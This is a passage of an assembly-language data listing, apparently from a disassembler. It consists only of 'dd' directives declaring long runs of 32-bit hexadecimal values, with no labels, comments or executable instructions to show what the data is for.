		dd 0EC7C0488h, 0A946002Ah, 7F0EC1F7h, 0DB26158Fh, 224FC37h
		dd 0C4808C1Eh, 57E0EE66h, 9A070097h, 9ED018EFh,	9300F0BEh
		dd 1E5643Bh, 1C7B4822h,	40B6A0DFh, 164E7E35h, 380050ECh
		dd 0E04AFA60h, 27BB69h,	741D1F64h, 2A22AF17h, 0C3980107h
		dd 31A04E49h, 6A4599h, 62DD9213h, 0D08D243Fh, 36966705h
		dd 0C7FFD42Eh, 427600F1h, 0CE00CBC1h, 0B3F471B7h, 0C091C24h
		dd 0A595E581h, 1CB882F0h, 0A6049200h, 24E1BE6h,	310D651h
		dd 0FA92E83h, 0A0762000h, 5B7D8CE1h, 1D114B8Dh,	5C2141ECh
		dd 0E0A12A61h, 0BA00A83Eh, 799483Ah, 34EEEDDh, 1851BC6Ah
		dd 7389D98Bh, 56E5604Ch, 81405200h, 0C7F099F3h,	9F5F001Ch
		dd 4211ACFBh, 1BE4EBE3h, 0C23E5090h, 2F4C78B3h,	252D0F3Ch
		dd 9940C76Eh, 0C2A7D2E1h, 2B02C30h, 583FDA1Ah, 600562h
		dd 480077D9h, 9449BC21h, 96C701h, 0B597F2F5h, 0DAEE745Dh
		dd 8C27BA07h, 0A4B0F877h, 0DE3D19h, 643251D7h, 0B481966Eh
		dd 8450EE0Eh, 69F3E4D6h, 889C80EAh, 0AD038F99h,	2D214FACh
		dd 0AEC194A1h, 38DCA932h, 69FE0014h, 251730C9h,	0F40ED1F7h
		dd 0A0F8CEE9h, 829A6773h, 0F6800E9Fh, 430217FCh, 40409714h
		dd 0E3F4C30Bh, 772AD705h, 800577Fh, 0BBD9045h, 89C9805Fh
		dd 60416D4Ah, 93F5D7EEh, 3C85E0h, 0BB02B5EDh, 6661450h
		dd 0A08948h, 9AE360E7h,	1DD8753h, 93ABF3C8h, 0D4634F0Fh
		dd 750055BBh, 0DE391A08h, 1EA5CFh, 0FAEFF664h, 3E7EEDA1h
		dd 0A2B20500h, 40219E3Bh, 831E1F5Ah, 8A900B1h, 0E5A73898h
		dd 6A118000h, 0AAB52AB8h, 6DF8005Bh, 59C463D1h,	5348BA70h
		dd 0B38500ACh, 6E0809CAh
		dd 8CB51851h, 506311EBh, 0B9878A10h, 0C197DA03h, 9CF06A07h
		dd 0D500EB86h, 659D181Ch, 5068B40h, 0BDDC57FCh,	0FB3C9053h
		dd 0C9E66A7h, 64257E07h, 0E28669D0h, 0A4B900ADh, 0F8E45D2h
		dd 0DC01F507h, 0E9CD0336h, 9CE07FDAh, 566F00F8h, 293AAAE1h
		dd 0F9092D01h, 0C0408D69h, 25DF8CF0h, 18009121h, 0CB87A40Dh
		dd 0F8E1B425h, 0C46D0089h, 924559FFh, 2B0FE230h, 5F0DE431h
		dd 3539C200h, 1BFC85Eh,	2F2341D7h, 20FAE08Eh, 970F4860h
		dd 0AF96ADEDh, 0E3A5E031h, 0B05A374Ch, 0C03D0125h, 4EBE8C35h
		dd 70F7F8D7h, 9D642000h, 0AE2DDA56h, 0BA47021Eh, 9389E6B3h
		dd 0A1E0CC80h, 70EF7305h, 2513FB68h, 3C1EA42Eh,	17B97E40h
		dd 37D1EDh, 6E970A6h, 7AF08E1Fh, 3D002890h, 6DEDBE34h
		dd 12A1F78Ah, 0E278EEh,	1E7F1C90h, 0B1000D48h, 2923BBACh
		dd 0AB3975h, 1987E06Eh,	3447CCF1h, 52242100h, 903CC4F8h
		dd 91891E1Bh, 0B75E4267h, 0A88746C8h, 0A966071h, 2D0C6214h
		dd 11879D98h, 612C0857h, 0C600D593h, 55181D9Bh,	8AB8015Eh
		dd 2438D9D7h, 790C2069h, 23E0DF01h, 0D46A89F0h,	0B3E40421h
		dd 0A9008C1Ah, 0E190662Ch, 7DE9095Dh, 3EA00E10h, 0B6C03295h
		dd 87295B6Fh, 76F5F600h, 53512117h, 7BA900FEh, 6051222h
		dd 9E027CC9h, 88CB9364h, 6995007Dh, 0D0CB6A6Eh,	0AD50208Ah
		dd 7E16202h, 0DC5A5657h, 0F7201D4Ch, 85B37EC8h,	0AD1BA0Ah
		dd 0B7010807h, 45192934h, 0A5A04F03h, 0E112DF8Ah, 784123C0h
		dd 24D9138Ch, 3F08A8E3h, 0D1333778h, 0C4CF22F1h, 1C007C45h
		dd 0EC907C6Bh, 1BCB0198h, 68C9B732h, 1A43C6Ch, 0CD43A009h
		dd 1C0341Eh, 65A7329Dh,	7079D5D8h, 79F5B304h, 0E6CBD2C0h
		dd 6AE10375h, 87F022F7h, 33357AB8h, 80B27D00h, 34EED6AAh
		dd 165C00F1h, 87A17B6Dh, 72FA91CCh, 0E7C9F405h,	9C00C739h
		dd 0B52610F6h, 0ACD403E8h, 25494268h, 0CE7F1002h, 530D24h
		dd 0EAB60B6Ah, 3796DA01h, 0B71D6134h, 76C30EE0h, 3EC4034Bh
		dd 0C5E5A4E6h, 393C80FDh, 863C8A96h, 0FC9C2C46h, 0C9DE05BBh
		dd 0DAF0CFAFh, 35D000C7h, 768180AAh, 8D006F24h,	742DC0Bh
		dd 0D23086h, 3813AED4h,	0A9E9641Dh, 1A569700h, 0D35EDF2Eh
		dd 0D1EC00A6h, 8EBC964Eh, 34E071FEh, 0B4D26E00h, 0AAA13668h
		dd 0CC150126h, 8A9EBAF8h, 133BECC5h, 191E6430h,	0F8462C1h
		dd 5286383Dh, 918FF561h, 0C1CCEB51h, 3019B938h,	6009168Ah
		dd 44643AC1h, 12424EA8h, 9696003Ch, 4F7EFE5Fh, 40D7A405h
		dd 84073ABDh, 0D6308B83h, 290560h, 822FAD65h, 0BDD13EE3h
		dd 0A03D3CE8h, 0D07AAA92h, 0E810817Eh, 0A600C5E9h, 178435F1h
		dd 0FD18BA82h, 5D1129B2h, 0A6F410B5h, 0BC610003h, 8C4A4105h
		dd 0E4BD4D71h, 16C9278h, 0F2DC35EEh, 51371E74h,	0D0E629D0h
		dd 3092137Fh, 0B0B5744h, 40EB931Eh, 0A44C5800h,	9779D082h
		dd 0A6C0FC00h, 0FA4FB079h, 6BBA00E2h, 0F668F125h, 583BAE96h
		dd 0CF0073ABh, 1A9BDEC1h, 9AE932h, 0FA6DC8E4h, 601EE7D9h
		dd 3B7AD400h, 36C4851h,	5CA40057h, 0C80F984Bh, 873818BCh
		dd 3EFBA724h, 0E0760000h, 6E3518CEh, 0DD01A79Eh, 93D3485Eh
		dd 32E86C11h, 23EA008Eh, 0CF9AF703h, 0B6007D9Fh, 0AC025241h
		dd 0B026354Ah, 0F43D5408h, 89D500F6h, 1745711Bh, 0D664069Dh
		dd 0A481A010h, 108002E6h, 62262785h, 950058F5h,	10DC7347h
		dd 709DC6h, 0DF1709A1h,	897E1803h, 8F948h, 0E66136FEh
		dd 491297C9h, 680278D5h, 0E3A830Dh, 0B41C4CC0h,	98437F00h
		dd 792DC829h, 365B004Ah, 0DB06A09Bh, 0B6003BFAh, 16FE245Dh
		dd 8ADCF3h, 349C64CFh, 0C776299Fh, 197FB100h, 2DBC0965h
		dd 0A3E822h, 8A5586D7h,	0F4967A94h, 4EDF3D00h, 5C6B2564h
		dd 0AB4900C9h, 11A92EC7h, 0CB6212Fh, 9E7D3100h,	13F96CC3h
		dd 4918E72Ah, 180B2754h, 0DE87B845h, 45205168h,	0F690EEDDh
		dd 0DCE4B03Ch, 0E8970150h, 2B3E06h, 98648B75h, 51FE470h
		dd 673D63BCh, 908784C0h, 4090CF14h, 0DD7C4B1Ch,	5004BE6h
		dd 0B0BF71B7h, 0FC9235h, 31750978h, 9EFA3ADFh, 438B3Eh
		dd 7AC6DBA2h, 1F387B73h, 40204C85h, 0F01B07CAh,	0FE012398h
		dd 793A9E48h, 10838583h, 206DCF03h, 1275800h, 614BA76Ch
		dd 4BE003Bh, 82388060h,	0D4F97B25h, 0A34F3264h,	0E52B7B0Fh
		dd 0D90024D8h, 5A11D73Dh, 0B7F206C4h, 0BAAA7141h, 86FBFC0Bh
		dd 0B2BC0085h, 463E5C3h, 4ECB145h, 0BC00F331h, 10A42F1h
		dd 75D857F7h, 2EDCF58Fh, 0C6C43CFDh, 5E8DE681h,	0C0F75D11h
		dd 0E001A05h, 3C2AE2D9h, 745CB4h, 0CABF96BDh, 94AAA641h
		dd 177C8F4Dh, 9800A9BEh, 27014336h, 917F81h, 42747DDFh
		dd 0DD98EB96h, 0D8F45900h, 23090562h, 5CEADBh, 250D0FB1h
		dd 90EB35AEh, 16F68439h, 0E443BB92h, 0F7C1C13h,	6294752h
		dd 0A11D817Ch, 0F9CA147Bh, 6A5AF435h, 0DDB0FF00h, 27ABA2A0h
		dd 0C69B00E6h, 0FE499568h, 3601AEE3h, 0AD2D0E40h, 0B8209211h
		dd 86A16B1h, 12B7005Bh,	0DB38184Fh, 70FE2503h, 0B8E3F67Fh
		dd 6C3D95Ah, 3F46B11Dh,	0E10038A6h, 0A4B34405h,	98872F8Ch
		dd 0F27CA06Eh, 0EC0A00EBh, 0DB73A6ACh, 3800B9C9h, 2B111884h
		dd 15ECCh, 4488A7CFh, 0B0FAA5ABh, 0A4E24700h, 49F8C30Dh
		dd 21500014h, 79ED6B13h, 0E104B3DBh, 83F2224h, 7000A8A8h
		dd 1680CDE8h, 0D9002D0Dh, 6DD50768h, 1F397942h,	9F48F0F2h
		dd 0C68A0B5Dh, 61FD20A0h, 0A47584CAh, 1103900Ch, 8EC1167h
		dd 69FA029Fh, 57B20602h, 0F4D07Bh, 648875FFh, 0EFFC534Fh
		dd 8B76267Dh, 15333909h, 7A6480FBh, 0BC13DD83h,	727641B0h
		dd 0F077C0h, 0B89567EBh, 7DDCA27h, 3792C462h, 1AC3E053h
		dd 0AE04E41Dh, 2D4AB1BEh, 0E3FD2C80h, 5F570379h, 3395197Bh
		dd 0ECC3A3F2h, 0BA54F9C0h, 32EF4100h, 0E022D32Dh, 0CC89004Ah
		dd 4451024Fh, 0BE000FACh, 5B6EE24Ch, 80C485h, 0EA67257Fh
		dd 176501B8h, 80843C3Ch, 6CE8C74h, 1EBF8D71h, 8002700Ah
		dd 1F2C98F1h, 5B00842Fh, 0C8DCC78Ch, 305E9511h,	1E39944Ch
		dd 9800D8B9h, 0FFE815CFh, 244D1D4h, 4FF6A5BFh, 0F0408C6Ch
		dd 0C09ED0B4h, 0EA813400h, 0DAB897h, 4EBCB28Fh,	6BE057BDh
		dd 62E679F8h, 0F500CAFEh, 7A2C420Fh, 509F1124h,	0D0FA68h
		dd 1247DFE5h, 0AADD6A78h, 89024C1Eh, 8C2ED6C0h,	7EAD42h
		dd 727BA76Fh, 804FC9BEh, 66005B74h, 6002FC62h, 997A58h
		dd 0BD3F5F69h, 3A1E8944h, 133C1F3Ch, 3C00371Ah,	4D0440A6h
		dd 2E0909A7h, 0C07022BDh, 89719E18h, 8E17C9h, 3E16DD58h
		dd 70DEA142h, 22ADB02h,	40F95029h, 33D0D8h, 30FD89D4h
		dd 0A48616B0h, 979DA01h, 7FA605B9h, 70C66883h, 0E49887F1h
		dd 58C02D33h, 79226ED2h, 7C3D005Ch, 230F1F32h, 2B003FE2h
		dd 16F65DC6h, 94857FB9h, 0D8E380F4h, 0A8CDD23Eh, 0C4727000h
		dd 0D96AFCBEh, 0C9EC0143h, 0ACD81A17h, 0D50E6B05h, 5409E063h
		dd 4B1DAE7h, 0E043C36h,	13C0AFDEh, 3F18101h, 308AF289h
		dd 0AE90310Ch, 0F9002AFDh, 5DB9B618h, 9D69E83Fh, 460034D0h
		dd 3C5B3208h, 0F065DB11h, 87B20018h, 6FCA1041h,	69FA4BF9h
		dd 33D94Ch, 0A3BBCEC4h,	0A0938F2Ah, 7ADD4ECh, 3CF9E86Eh
		dd 8D03F0FAh, 40B8FF55h, 4C3FED04h, 84E87D63h, 93F8AAh
		dd 542B897Dh, 66A1D099h, 45BE8700h, 1326535Ah, 0C96E007Fh
		dd 89932B10h, 4A7B3914h
		dd 5B38DE0Fh, 725367D8h, 3E2E0DC0h, 45690ECFh, 2A60148Dh
		dd 42F688AEh, 0D55F3Ah,	7434A026h, 0E7BE833Fh, 0F889A170h
		dd 8B1E0353h, 8A43FBE0h, 0F0741AD8h, 7F15147Dh,	0AC6C01E5h
		dd 1A90308Dh, 0DF8A4210h, 6A39F00h, 9C7FB25h, 9066F6FCh
		dd 598D0EE0h, 45036217h, 2921E599h, 43A40839h, 881C7D88h
		dd 5D90F6A7h, 283FD19Eh, 0E62228B1h, 115142F2h,	0F51141FDh
		dd 0C4BA1118h, 0DA087521h, 19A2BB29h, 10C03122h, 38C82649h
		dd 84ED4403h, 50BAAC22h, 443C14ADh, 2284E148h, 0A142D02Fh
		dd 33F6BA08h, 11782514h, 0C518B854h, 0FE2B2927h, 8B1BF988h
		dd 0D9640CC5h, 3212D829h, 2500C2C9h, 1FB44D07h,	13C15879h
		dd 0A9703F7Eh, 0B3401D07h, 0FC1C8030h, 0A6006C18h, 58C73956h
		dd 0DA3EA0h, 5F76F857h,	0F227B9D9h, 9C232A00h, 67938643h
		dd 0A4AF0092h, 96F9B4C8h, 0B73A5AACh, 49F700EFh, 0C2082F7Dh
		dd 76B87A3Eh, 2C380088h, 87EE626Fh, 0AB01B2E2h,	48AAD595h
		dd 3EF4F57Eh, 78C71F45h, 81D000B5h, 0A45C857Ch,	2080D44Bh
		dd 55AA75h, 3DBB76Ah, 0C7FA94Dh, 0A68FAB17h, 3DCF041Eh
		dd 95AA80F8h, 41CC26h, 1E789EF3h, 1B364F52h, 4EF06B18h
		dd 77E320h, 0FB588A61h,	7FD574B6h, 0A5005C96h, 852F4A7Eh
		dd 4FD1001Ah, 2A448B9Bh, 0CE90DA98h, 0D7A7CC0Fh, 3D2DA140h
		dd 92F8B85Dh, 0D481005Ch, 0F6D2F939h, 8D00EFBCh, 3E967079h
		dd 9127AAh, 762E8F53h, 23F40C3Bh, 9A009EF6h, 5E0DCBADh
		dd 8CC37Ah, 0F3D338F1h,	0EF65F5FBh, 0A700F872h,	9280853Bh
		dd 0D44003h, 3E4226E2h,	28C06669h, 8C3FA80Eh, 955E406Eh
		dd 450E80h, 14A77B6Bh, 0F4CBCF60h, 1F011B00h, 284FB0F9h
		dd 0C94B0E04h, 9D6FB74Ch, 823A1220h, 9F0A4A0Eh,	0DD32E21Eh
		dd 4ED7CD00h, 58735349h, 0D300ECB5h, 57BEE5ADh,	350793ABh
		dd 83FF2544h, 119A7E20h, 48FC98h, 0DD59586Ch, 24A5EE8Fh
		dd 660D100h, 6ADC34ECh,	0F5FA587Ch, 0D6EE7Ch, 0B844D778h
		dd 20F04B58h, 0AA00D874h, 0B343142Bh, 0EC19351h, 8B91C46Dh
		dd 3D09E720h, 4DF69895h, 31E37600h, 0C45BA494h,	697617h
		dd 0D477B97Bh, 5635C7F1h, 2FB04F4Ah, 402101CEh,	0DDC2AEB4h
		dd 0D53CC4A7h, 0F82A3Dh, 5C849E76h, 977B57EDh, 41DCC080h
		dd 0CFEAB522h, 51E2FB00h, 7E46248h, 23F900A1h, 813DC468h
		dd 0B5001399h, 0A7D019AFh, 472C9Eh, 0DEA2466Eh,	0B6CF5BA0h
		dd 41005D77h, 7BCDC002h, 0F20CE86h, 0F6651A45h,	4DF9A4E0h
		dd 675DF92h, 2300C490h,	97F46D13h, 21D552h, 0ACC93FAEh
		dd 1026EA51h, 746A1E39h, 0DBEED901h, 4153388Ah,	5FEBC4h
		dd 128F3432h, 9E5DACF8h, 0A6ADE11Dh, 6E9CEF00h,	994AE5h
		dd 0D3E87D71h, 87BFA392h, 0DB88ED00h, 58175A3Eh, 44A917FCh
		dd 3EB11C75h, 0E3770D81h, 70D4E1CCh, 5101CE9Eh,	904ACD47h
		dd 4E8DC10h, 7B16048Ch,	0C08D6DBCh, 0ADE6428Ah,	0FC620A1Eh
		dd 40B8B48Eh, 75511EECh, 950D38F6h, 0A2001CB8h,	0EA8AFDD6h
		dd 0D4006CA4h, 3CD00B27h, 745A072Fh, 0B3A10364h, 0A96E33FCh
		dd 0CB0C9DF0h, 0F0B61100h, 32BBC5C8h, 3250023h,	1E4394ABh
		dd 70199CF3h, 6C485B81h, 0F6AA87F0h, 79F10EFFh,	0A9A05713h
		dd 66D0369Eh, 9F00D2E2h, 7FC6F52Fh, 2EB4FA5h, 0E2744732h
		dd 14600CDEh, 4E005404h, 0B83B426Eh, 0AD0B30h, 461FE49Dh
		dd 232EA684h, 80F11B38h, 47EDAB43h, 0E1AE10Bh, 0D23B7EE2h
		dd 1496D0C7h, 20FCCDh, 0DC21F8BEh, 677B28h, 75799F65h
		dd 0BC1BAEE8h, 0A300CF7Eh, 0F1CADAD7h, 1E2CA4h,	9BADC7AFh
		dd 31A1FE03h, 0D8235424h, 619D003Ah, 2A5892Ch, 5EC90708h
		dd 0E0FF0C32h, 0D347F01Eh, 83003775h, 484AA943h, 70DDFD4h
		dd 0D560B544h, 0AA78CBB1h, 1E009976h, 0C2C779A5h, 1B84F0h
		dd 7A1C8B4Bh, 0D402256Ah, 19E4B916h, 0D504F00Bh, 0AA9B7C00h
		dd 0D1771469h, 7DBEA34Ch, 0DF2F4Ch, 0F0C48846h,	0A4051Ch
		dd 5A3A8BF8h, 0F5F22D7Fh, 4903E201h, 8DBA1A5Bh,	968A81EFh
		dd 92D0A440h, 2C4A593Ah, 7BEEBF02h, 0FEF0A2A5h,	82638E3Ch
		dd 3ADB6C20h, 0C8786828h, 0BA0304F1h, 0C00E6D48h, 3B452744h
		dd 96075198h, 0FA3424BDh, 655DDB80h, 0D53A1D53h, 0A11A023Ch
		dd 0B840E9A4h, 0F8008754h, 916C39A0h, 1840CBh, 0DE9B6876h
		dd 0F286A4CCh, 5320D41Ch, 21237B00h, 16257BDh, 29393DDCh
		dd 20FA091Ch, 7400A3C5h, 0BC024B31h, 0C9C447h, 5A1F5BA8h
		dd 5304D0C2h, 3990C0E8h, 81171B00h, 39C977CFh, 595C0037h
		dd 72D194CDh, 0FC07E3F7h, 8DC1B1BDh, 0F0EFC00Fh, 0A16FF1h
		dd 0DE286974h, 0A79B0E36h, 3CB7ED00h, 537FF0A9h, 0BF1A0B10h
		dd 9D7A18h, 102E9EE2h, 451DE19Ah, 0A100E3F6h, 0C0CEF4B8h
		dd 0CB360026h, 0E0AE085Eh, 34600188h, 0E7AFBC2h, 0FDED00C1h
		dd 608A6578h, 271EB0B4h, 0A880CDC5h, 9F894841h,	70A900C0h
		dd 0B5EE13F9h, 8E06AE99h, 34DF2A3Fh, 0F65F04D0h, 0C057E877h
		dd 0CE140824h, 1841D901h, 9F4233BDh, 9981820h, 0B79EDC66h
		dd 0C67CC80h, 7A0015A8h, 11D66CA9h, 386B858h, 0E36A5F4Bh
		dd 60AFF985h, 0A4A3995h, 0DAE09201h, 0A47CCCD0h, 749A0430h
		dd 7FCA03C8h, 0C28319D2h, 76D93CA0h, 40C06E0Bh,	97E80077h
		dd 1F1C9674h, 4010CED6h, 26BFDEFDh, 0B0FADBE8h,	3D289BF8h
		dd 7C03AF80h, 3FE949A5h, 7D80AFDCh, 907EBECDh, 0EA060008h
		dd 1675C2CBh, 0DC7D554Ah, 80F9653Ah, 8A3FF096h,	72E783h
		dd 73049F47h, 8F2231CCh, 90281624h, 40F7910Fh, 86BED9CFh
		dd 18C9059h, 71E210Eh, 0C4474FCAh, 96F64548h, 500F8B0h
		dd 8794D1D0h, 403A7D3Bh, 0D50E9BA9h, 80BFC3D2h,	0D0C1DA0h
		dd 97AC0228h, 21D9848Fh, 0E0542C40h, 64C57300h,	0F251CDD6h
		dd 132E07E8h, 0B092E45Ch, 30CAFC22h, 7E75A40Bh,	60F801EBh
		dd 21DC1173h, 83620964h, 0F4279FAFh, 0C356C5E2h, 0F3E8DCBCh
		dd 214F9A0h, 0B09C96h, 35EDD0F5h, 0E1F44D3h, 793AA8E2h
		dd 0F307F24Bh, 0C8C243CBh, 0A4FA93D0h, 0C8579235h, 13AB1C80h
		dd 28D6022Ah, 0D3408849h, 4CD87460h, 17415400h,	0C25CBDDCh
		dd 0F096FE51h, 771300ADh, 0B8F80B50h, 0D81EBCB6h, 90404C3Ch
		dd 1B7F18C9h, 0ADFB01A0h, 0B81FFA33h, 9175E4A6h, 0BF3F9B79h
		dd 0D8891CDBh, 0BCEEC103h, 1F18C8C9h, 409F0072h, 0B455D3B1h
		dd 0FE0E9579h, 6088662Ah, 0F1B24E77h, 6442005Fh, 0FBDA25B9h
		dd 37001B2Ch, 6F91AFA0h, 238946h, 0C5159B63h, 8BDD5141h
		dd 0BAEFCD0Eh, 0AC80070Dh, 0D42699D1h, 0C07A96F4h, 0FD5157A8h
		dd 0D31D5C2Bh, 0F93D77F7h, 8C65C601h, 0BBA4C2E0h, 0FFDC03Bh
		dd 52007E5Ah, 82582C2Ah, 779FC9Bh, 0B7669202h, 0AF6A0ADh
		dd 0BA037D52h, 0E0CED1F4h, 40F0123Eh, 59F000D2h, 0EF554837h
		dd 0A82A2E00h, 9FE4F299h, 0AE5400F3h, 92AFE86Fh, 37013830h
		dd 0E3834952h, 0F1D91142h, 5FEB0E8h, 0C1CDEF63h, 98208013h
		dd 0A800AE1Fh, 0DA8C1591h, 4FA309Dh, 0E55AA4Ah,	8232C042h
		dd 58002ABAh, 3E353B19h, 3C217C98h, 8580D555h, 53417AE5h
		dd 6800F3BDh, 1427F76Ch, 1C95F991h, 5E7EEBD0h, 0A2994065h
		dd 69DE1FF5h, 0DBEA2200h, 95546E81h, 0AAECE9h, 0B0194BA9h
		dd 0C596F9F5h, 0DF17DA00h, 9F5C9CDCh, 0C0C3006Dh, 0C7A91F6Ah
		dd 9B3B6FDDh, 0CC36008Dh, 7844F43Ch, 62DE1C12h,	0D93F8061h
		dd 5D8619BFh, 3D103Ch
		dd 0F19C0A27h, 0B305E23h, 82CBBBA6h, 4030530Ah,	224B2506h
		dd 0FEE6A003h, 0E3CF70C4h, 0B6AAD883h, 0FD10000Fh, 9F626D7Fh
		dd 11F2E91Fh, 43304860h, 0E330112h, 28D6AFFh, 0C1393160h
		dd 5A004E46h, 6D830980h, 0B05890h, 0DBC0937Fh, 3899C997h
		dd 1BFDE41Fh, 780A1200h, 909E68h, 0A6E2559Ch, 2E2A38BDh
		dd 1C433Dh, 508F14Fh, 0F080C027h, 647AFAh, 792F5B7Dh, 45789893h
		dd 92E6FF76h, 128FE100h, 0BB1B6CA0h, 0A9E40033h, 0DEEA7C35h
		dd 61013003h, 0EF4A29B0h, 0E08048C8h, 81F2D854h, 6705A91Ch
		dd 6A3D3C5Fh, 2248F00h,	75B5E287h, 0C1850014h, 0C7FE9405h
		dd 0A61F274Ah, 325DC0D4h, 1B9C56C0h, 8F410Bh, 7EED6768h
		dd 71476B69h, 77A4BB48h, 0C430020Ah, 0E78EAC5Bh, 0F6009FC2h
		dd 0FABD9356h, 4EBB0090h, 0C432BEE4h, 57003A5Eh, 70182CD7h
		dd 0FA6FA8DAh, 0ECBF079Dh, 22F935C8h, 0E9E0B46Dh, 180E920Dh
		dd 0E005B056h, 2AA18127h, 8DE407DBh, 0E0E5C15Bh, 0F4C5425Eh
		dd 0F04FB700h, 49200995h, 1BFA0F17h, 0B46005E4h, 0B9988759h
		dd 5D48D800h, 283B906Ah, 2E71035Ah, 658F687Dh, 0E86BE498h
		dd 1F0106EEh, 60D0AC67h, 82D9954Bh, 0E48078BDh,	0F88F24E9h
		dd 0E006473h, 621FFCEh,	1C75B86Ch, 845C3Bh, 4C79EA48h
		dd 5074C114h, 6ACF1300h, 63D64DB2h, 31CD007Ch, 0DEA50A03h
		dd 601E7F4Fh, 7E40C7DFh, 56BA3AAEh, 0C325E838h,	58730588h
		dd 0E52B801Eh, 8A039A03h, 75C83FFCh, 987711Fh, 34A0F2F9h
		dd 8926821Ch, 31CA990Bh, 410180BBh, 91E812h, 0E41DB005h
		dd 75ACC6D3h, 47002979h, 0E045F9EEh, 4CC0C752h,	57090CAEh
		dd 0AF7EBE9Bh, 0EFEA009h, 0FDAC63FCh, 0C408313h, 0B3B7750h
		dd 248FB48h, 9DA80021h,	0BEADA4E4h, 0EDFD0071h,	286C2BB8h
		dd 4018CFC6h, 0D2300C7Dh, 8C820387h, 295F6D55h,	4E84D3B0h
		dd 0BB24EF01h, 0DA913145h, 0FF1DDCh, 87A5B89Ah,	7ACF970Bh
		dd 0F9BD4B01h, 347912B4h, 0A2FDBFCh, 55A05BA2h,	0E50E8094h
		dd 7FA9BB22h, 2FB26407h, 90048985h, 32422A80h, 0F1100098h
		dd 0D5D03AEEh, 4E007FDBh, 0D20A5D94h, 783F4C6h,	6D200782h
		dd 0FCDA804Ah, 28009991h, 570B45AAh, 5836637Dh,	5B005C78h
		dd 204BBB84h, 0E430ED24h, 17C65849h, 870B0351h,	0F0AACA8Eh
		dd 7FBA1801h, 0AC197035h, 0EE582820h, 596430CBh, 0F53869B8h
		dd 0C4A6D200h, 5552F1FAh, 0B99E008Ch, 0D6878DCFh, 9D3E0607h
		dd 36429F01h, 32E91C9h,	0F1F75104h, 0BCE02B11h,	0C31C24A2h
		dd 802D2892h, 0B9E5E4h,	32519199h, 0CFAD019h, 0BAED7007h
		dd 0EF17850Eh, 11C9B540h, 18726F97h, 2DC35CE0h,	29FA8C95h
		dd 1781F612h, 6D444802h, 8B9600CDh, 0DA004CA9h,	7DAF5236h
		dd 713EC0h, 0A1140CF1h,	0FF19CEA5h, 26FCAD00h, 679C2F2Dh
		dd 0BC9B0995h, 58275482h, 0D3E32786h, 4AF88F0Bh, 4E002233h
		dd 1F6C38C1h, 8CE183h, 0A50881C6h, 23393EB8h, 41029B7Fh
		dd 602D9704h, 0C02842E8h, 0FC215808h, 0F1A900D0h, 9F3AEFFh
		dd 3E013CBAh, 1347D3E8h, 0C44050A5h, 39465A64h,	7A8084CBh
		dd 8CB7AC9Fh, 4D023FA7h, 28B5214Eh, 9728402Eh, 3DC10017h
		dd 8AF0DB43h, 10000D29h, 0B548567Ah, 781BBDD0h,	0DBDA0E82h
		dd 16806A70h, 4B19B602h, 1453BE00h, 92231C5Dh, 50AF0089h
		dd 0BBFA49D8h, 973D5E27h, 20329D45h, 56C02C5Dh,	3AE4E99Bh
		dd 2BC400F0h, 0C2500FA9h, 403BB61Ah, 317B03A3h,	0A8E1EE7Ch
		dd 1D23701Dh, 80A013E9h, 0BB66FBD1h, 9E002A93h,	99F10656h
		dd 30A28Ah, 35825A15h, 0A8288B45h, 0DE1C2B05h, 0DA868058h
		dd 0F950041h, 8AB2A9C9h, 0D80E4DF2h, 0EFBC7188h, 42AA27EAh
		dd 1728E970h, 0BAA706D9h, 60955584h, 8DC8A300h,	0F9709741h
		dd 0D6540C34h, 0BF59ED19h, 8FB3B101h, 494DCFD3h, 0F885CCh
		dd 2C568ADDh, 7C5D2AE8h, 78D31700h, 22EF42E0h, 419B3BACh
		dd 0B595DE8Eh, 3C693720h, 0AA004B57h, 0BB6BA662h, 0D0FBBDh
		dd 1EC5C94Fh, 76AF79BFh, 0AE28DB00h, 29905B20h,	3103DA5h
		dd 874C97h, 947D6356h, 9C0038ADh, 9A80A3F5h, 17920781h
		dd 55ABC0h, 0AC31DAFDh,	1E038924h, 0E7959A71h, 0DF65C06Dh
		dd 1A303DD5h, 0DA3B00FFh, 55B4F6C0h, 6038C2Eh, 0FD6F5D67h
		dd 209EE6h, 4B7D7CB9h, 97B1FCBCh, 40439C04h, 76806DB2h
		dd 0D8A5A0h, 6E744436h,	1A976726h, 96980613h, 0B65C3A00h
		dd 0E48441E3h, 78E847h,	0D39F646Ah, 638D50ECh, 53FDF403h
		dd 0C8312C72h, 741192h,	58E54B42h, 0A7D1E156h, 22643200h
		dd 702C9841h, 67FD48DEh, 0FFA3316h, 0DDE1E67Ah,	0E42E9A56h
		dd 2303FCFEh, 0D5F663A3h, 321D98EAh, 0D07302Fh,	65CFC7D0h
		dd 267D6D00h, 0CDAFEE81h, 8E3407E6h, 30E2F3C8h,	89AAA173h
		dd 8503F17Dh, 0D395123Dh, 26F40174h, 0E4D12B87h, 47DF30C8h
		dd 0F6C9E8C2h, 6C5040C0h, 52433E86h, 0E97E8FAh,	0D4407E6Fh
		dd 0C438BF40h, 7D00E072h, 0B786BB60h, 71FE4Bh, 6BE18AE2h
		dd 155DA97h, 965ADD00h,	0BBEDC998h, 339C1267h, 539803C2h
		dd 0AD90BE07h, 1D1C8C72h, 9541A082h, 0E4F89335h, 910ECC70h
		dd 0AA91D4h, 394CFEAEh,	5C80165Fh, 0E200D42Ch, 4118F0ECh
		dd 8C605986h, 1477F260h, 8BDF0044h, 8409571h, 60ECDDADh
		dd 0A31B4300h, 6DD65CCFh, 515800A7h, 98B2F6FBh,	0E1F21E7Bh
		dd 1D1DA139h, 0B87FBD0Bh, 3F9B13EBh, 576A3400h,	0C0F5E64Dh
		dd 7D969768h, 1B01E555h, 0D8A686Fh, 0D8204B74h,	0D23C0081h
		dd 0E0F1423Eh, 710C0E4Ah, 7AB5FC6Dh, 7540C1C3h,	40A2041Bh
		dd 15514B5Ch, 4EC7D51Ch, 4C583500h, 6C05BFh, 0FD85332Ah
		dd 0C21D4B3Fh, 0AFCCFA00h, 39629FD7h, 45800434h, 0C0BE15F8h
		dd 7A719124h, 0B20A3C01h, 1D9D1109h, 1CF484C8h,	844CD84Ah
		dd 0C0158EE2h, 9F9A5108h, 5718DC00h, 0C1CDDF26h, 0B8AC0060h
		dd 0BA1353EAh, 7002ADE6h, 75100BC4h, 6020C2D9h,	0EED7EBh
		dd 0EFDDA28Bh, 328F494Fh, 110F9000h, 0CD1048F6h, 4A6101F5h
		dd 8DB935A0h, 5F708331h, 0D00F7F53h, 0A70527h, 13330969h
		dd 8F67146Eh, 4716E205h, 86B82270h, 7D559D00h, 6FD8C813h
